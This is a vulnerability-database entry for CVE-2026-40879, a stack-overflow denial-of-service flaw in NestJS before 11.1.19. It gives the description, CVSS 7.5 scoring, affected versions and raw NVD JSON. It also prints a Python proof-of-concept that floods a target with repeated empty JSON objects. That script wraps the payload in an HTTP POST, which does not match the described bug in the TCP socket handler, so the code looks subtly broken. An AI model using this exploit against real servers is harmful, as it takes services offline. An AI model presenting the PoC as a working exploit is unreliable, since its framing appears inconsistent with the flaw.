Security Vulnerability Report
中文
CVE-2026-40879 CVSS 7.5 HIGH

CVE-2026-40879

Published: 2026-04-21 20:17:02
Last Modified: 2026-04-24 13:46:38

Description

Nest is a framework for building scalable Node.js server-side applications. Prior to 11.1.19, when an attacker sends many small, valid JSON messages in one TCP frame, handleData() recurses once per message; the buffer shrinks each call. maxBufferSize is never reached; call stack overflows instead. A ~47 KB payload is sufficient to trigger RangeError. This vulnerability is fixed in 11.1.19.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:nestjs:nest:*:*:*:*:*:node.js:*:* - VULNERABLE
NestJS < 11.1.19

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket # PoC for CVE-2026-40879: NestJS Stack Overflow via Many Small JSON Messages # Target: NestJS application < 11.1.19 def send_exploit(target_host, target_port): # Construct a payload with many small JSON objects # ~47KB payload is sufficient payload = ("{}" * 25000).encode('utf-8') try: # Create a TCP socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_host, target_port)) # Send HTTP POST request with the malicious payload in the body # Sending as a single frame is key to the exploit request = f"POST / HTTP/1.1\r\nHost: {target_host}\r\nContent-Type: application/json\r\nContent-Length: {len(payload)}\r\n\r\n".encode('utf-8') # Combine headers and payload and send immediately s.sendall(request + payload) print(f"Sent payload of size {len(payload)} bytes to {target_host}:{target_port}") s.close() except Exception as e: print(f"Error: {e}") if __name__ == "__main__": send_exploit("127.0.0.1", 3000)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40879", "sourceIdentifier": "[email protected]", "published": "2026-04-21T20:17:01.533", "lastModified": "2026-04-24T13:46:37.723", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nest is a framework for building scalable Node.js server-side applications. Prior to 11.1.19, when an attacker sends many small, valid JSON messages in one TCP frame, handleData() recurses once per message; the buffer shrinks each call. maxBufferSize is never reached; call stack overflows instead. A ~47 KB payload is sufficient to trigger RangeError. This vulnerability is fixed in 11.1.19."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-674"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nestjs:nest:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "11.1.19", "matchCriteriaId": "69F1D86B-AA83-40B0-B117-6C9C07E876B1"}]}]}], "references": [{"url": "https://github.com/nestjs/nest/security/advisories/GHSA-hpwf-8g29-85qm", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}